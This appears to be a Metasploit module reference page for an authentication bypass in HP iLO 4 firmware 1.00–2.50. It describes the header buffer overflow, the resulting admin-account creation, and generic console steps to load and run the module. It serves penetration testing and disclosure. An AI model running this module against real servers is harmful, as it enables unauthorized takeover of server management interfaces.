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HP iLO 4 1.00-2.50 Authentication Bypass Administrator Account Creation

Disclosed
Aug 24, 2017
Created
Jun 14, 2018

Description

This module exploits an authentication bypass in HP iLO 4 1.00 to 2.50, triggered by a buffer
overflow in the Connection HTTP header handling by the web server.
Exploiting this vulnerability gives full access to the REST API, allowing arbitrary
accounts creation.

Author

Fabien Perigaud fabien.perigaud@synacktiv[dot]com

Module Options

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':


msf > use auxiliary/admin/hp/hp_ilo_create_admin_account
msf auxiliary(hp_ilo_create_admin_account) > show actions
...actions...
msf auxiliary(hp_ilo_create_admin_account) > set ACTION < action-name >
msf auxiliary(hp_ilo_create_admin_account) > show options
...show and set options...
msf auxiliary(hp_ilo_create_admin_account) > run

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